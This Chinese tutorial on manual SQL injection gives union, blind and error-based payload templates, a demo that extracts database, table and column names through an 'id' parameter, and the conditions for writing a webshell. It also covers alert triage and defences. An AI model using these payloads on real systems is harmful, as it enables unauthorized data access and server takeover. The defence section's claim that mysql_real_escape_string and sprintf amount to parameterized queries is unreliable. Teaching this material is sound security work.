二、手工SQL注入
1、sql注入的原理是什么?
指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
2、如何确定注入点?
所有的输入只要和数据库进行交互的,都有可能触发SQL注入
常见的包括:
- Get参数触发SQL注入
- POST参数触发SQL注入
- Cookie触发SQL注入
- 其他参与sql执行的输入都有可能进行SQL注入
3、注入过程
4、注入作用
1. 绕过登录验证:使用万能密码登录网站后台等
2. 获取敏感数据:获取网站管理员帐号、密码等
3. 文件系统操作:列目录,读取、写入文件等
4. 注册表操作:读取、写入、删除注册表等
5. 执行系统命令:远程执行命令
5、SQL注入类型
字符型:
数字型:
6、SQL注入手法
1. 联合查询
点击查看代码
猜测列数:order by [数字]
联合查询:union select [数字,数字,...]
常见信息:union select version(),user(),database(),4,5
查数据库:union select schema_name from information_schema.schemata limit 0,1
查询表名:union select table_name,2,3,4,5 from information_schema.tables where table_schema=database() limit 0,1
查询列名:union select column_name,2,3,4,5 from information_schema.columns where table_name='[表名]' limit 0,1
查表数据:union select [列名1],[列明2],3,4,5 from [表名] limit 0,1
PS:数据库版本version()、登录用户user()、数据库database()
2. 布尔盲注
点击查看代码
常用函数:substr()、ascii()、mid()、length()
检测盲注:[某种符号] and 1=2 %23、[某种符号] and sleep(3) %23
常见信息:[某种符号] and substr(user(),1,1)='r' %23、[某种符号] and ascii(mid(version,1,1))=97 %23、[某种符号] and ascii(mid(version(),1,1))=97 and sleep(3) %23
查数据库:
[某种符号] and if((select count(*) from information_schema.tables where table_schema=database())=10, sleep(3), 1=1) %23
[某种符号] and if((length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=10), 1=1, 1=2) %23
[某种符号] and if((ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)))=109, 1=1, 1=2) %23
查询列名:
[某种符号] and if((select count(*) from information_schema.columns where table_name=[表名])=10, sleep(3), 1=1) %23
[某种符号] and if((length(select column_name from information_schema.columns where table_name=[表名] limit 0,1)=10), 1=1, 1=2) %23
[某种符号] and if((ascii(mid((select columns from information_schema.columns where table_name=[表名] limit 0,1), 1, 1)))=109, 1=1, 1=2) %23
查表数据:
[某种符号] and if((select count([列名]) from [表名])=5, 1=1, 1=2) %23
[某种符号] and if(length((select count([列名]) from [表名]))=5, 1=1, 1=2) %23
[某种符号] and if(ascii(mid((select count([列名]) from [表名]), 1, 1))=101, 1=1, 1=2) %23
PS:当非bool型时,可以使用sleep(3)代替1=1。灵活使用substr()、ascii()等函数
3. 报错注入
点击查看代码
报错函数:updatexml()、extractvalue()、rand()、group_by()
常见信息:[某种符号] or updatexml(1, concat(0x7e, (select version()), 0x7e, (select user())), 0) %23
查数据库:[某种符号] or updatexml(1, concat(0x7e, (select schema_name from information_schema.schemata limit 0,1)), 0) %23
查询表名:[某种符号] or updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 0,1)), 0) %23
查询列名:[某种符号] or updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='[表名]' limit 0,1)), 0) %23
查表数据:[某种符号] or updatexml(1, concat(0x7e, (select [列名] from [表名] limit 0,1)), 0) %23
>将updatexml()替换成extractvalue()时,只需要传2个参数即可。extractvalue(1,([执行的sql]))
在Mysql 5.1以上才存在xpath报错函数,若小于这个版本可以使用group_by() + rand()
默认Payload:[某种符号] and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,([sql语句]))x from information_schema.tables group by x )a) %23
Payload中[sql语句]可以替换成想要获取信息的SQL,语法同上。
7、注入过程演示
① 判断类型
-
?id=1
-
?id=2-1
② 查找字段数
-
?id=1’order by 1--+
-
?id=1’ order by 4--+
③ 查看数据库名
-
?id=111' union select 1,2,3--+
-
?id=111' union select 1,database(),3--+
④ 查看表名
?id=1’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
⑤ 查看字段名
?id=111 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' and table_schema=database() --+
8、sql注入想要获取服务器的webshell需要哪些条件
(1)知道落地文件的绝对路径
(2)secure-file-priv=
(3)落地文件拥有执行权限,写入权限
9、判断sql注入的告警是误报还是真实攻击
-
请求来源:可以通过日志查看请求来源,如果请求来自可信的用户并且请求的方式合法,则很可能是误报。
-
事件频率:观察是否存在大量相同或类似的攻击请求,如果出现了大量的相同或者类似攻击应该高度怀疑这是一次真实的攻击。
-
攻击内容:攻击内容是否包括常见的SQL注入关键字(如' and ')等,或者是否符合正则表达式匹配的特征,如果符合,就说明存在潜在的安全问题。
-
数据库行为:进一步观察数据库行为是否异常,例如查询数据的速度、查询返回的行数是否异常、数据库连接数是否异常等,如果这些表现明显不同于平时,就应该怀疑这是一次真实的攻击。
综上所述,当以上各个方面证据同时存在且提示有安全威胁时,才有可能会是真实的SQL注入攻击。如果未经进一步确认而过早地关闭这些告警,可能会引发安全风险并带来不良后果。
10、防范sql注入
-
参数化查询:使用参数化查询,可以将用户输入作为参数传递给数据库,而不是将它们直接插入SQL语句中。这样可以降低SQL注入的风险。mysql_real_escape_string(),sprintf()
-
过滤输入:过滤所有用户输入,例如检查输入是否符合预期格式、长度和类型,并将非法字符进行过滤,不允许出现敏感关键字,如' or '、';--等。str_replace(),preg_replace();
-
最小权限原则:将每个用户限制在最小权限范围内,这使得攻击者无法执行任意操作。
-
(4)定期更新漏洞库: